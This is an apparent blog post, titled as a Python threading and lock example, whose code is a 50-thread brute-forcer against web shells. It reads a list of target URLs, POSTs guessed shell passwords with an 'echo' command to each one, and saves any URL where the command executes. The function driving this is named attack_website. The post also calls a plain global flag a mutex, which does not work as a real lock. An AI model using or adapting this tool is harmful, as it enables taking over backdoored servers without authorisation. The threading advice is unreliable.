有关Python线程、函数、锁相关的一个程序

#!/usr/bin/python
#coding=utf-8
###########################
##########################
import requests
import threading
import time

list_url = []
g_mutex = 0
text = "D://127.txt"
#f = text.readlines()  #读取文件所有行
p = ['w','mybak','thinks','cyliner','pass']

def readFile(filename):
    f = open(filename, "r")  
    lines=[]
    while True:  
        line = f.readline()  #读取文件中的一行
        if line:  
            pass    # do something here 
            line=line.strip()
            #print "line %s"%line
            lines.append(line)
        else:  
            break
    f.close()
    return lines


def get_urllist():
    global list_url
    list_url = readFile(text)  #获取text中所有列,即将URL存入所有列存入列表中
    #for url in list_url:
    #   print url;


def saveFile(file, str):
    with open(file, 'a') as output:
        output.write(str+'\r\n')    
        output.flush()  
    
    
def worker(url):
    global p  
    for password in p:
        print "----------------------------------------"
        print url
        payload = {password:'echo xhbokokokokokokokokokok;'}
        try:        
            r = requests.post(url,data=payload,timeout=5)
        except:
            print "***************************************"
            continue
        content = r.content
        if r.status_code == 200:
            if content.find('xhbokokokokokokokokokok') != -1:
                print 'url:' + url + '   ' +  '[+]passwrod is:' + password
                write_result = str('url:' + url + '   ' +  '[+]passwrod is:' + password)
                saveFile('d://url02.txt',write_result)
                break
        else:
            #break
			continue

            
def get_url():  
    global g_mutex   #在此相当于一个全局锁
    global list_url
    if g_mutex == 1:
        return ''
    g_mutex = 1
    if len(list_url) > 0:
        url = list_url[0]
        del list_url[0]   #当获取到第一个URL后将其删除
        print url
        g_mutex = 0    #g_mutex为0时相当于解锁
        return url
    else:
        g_mutex = 0
        return 'finish'         
            
def attack_website():
    while(True):
        url = get_url()
        if url == '':   ####锁住的时候,获取不到URL,等待
            time.sleep(0.01)
            continue
        elif url == 'finish':
            print 'finish'
            return  ##结束线程       
        worker(url)
            
            
if __name__ == '__main__': 
    get_urllist() #获取URL列表
    for i in range(0, 50):  #开辟50个线程
        #t1 = threading.Thread(target=getUrlType, args=(lib,i)) # 直接使用Thread附加函数,args为参数
        t1 = threading.Thread(target=attack_website)
        t1.start()      

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值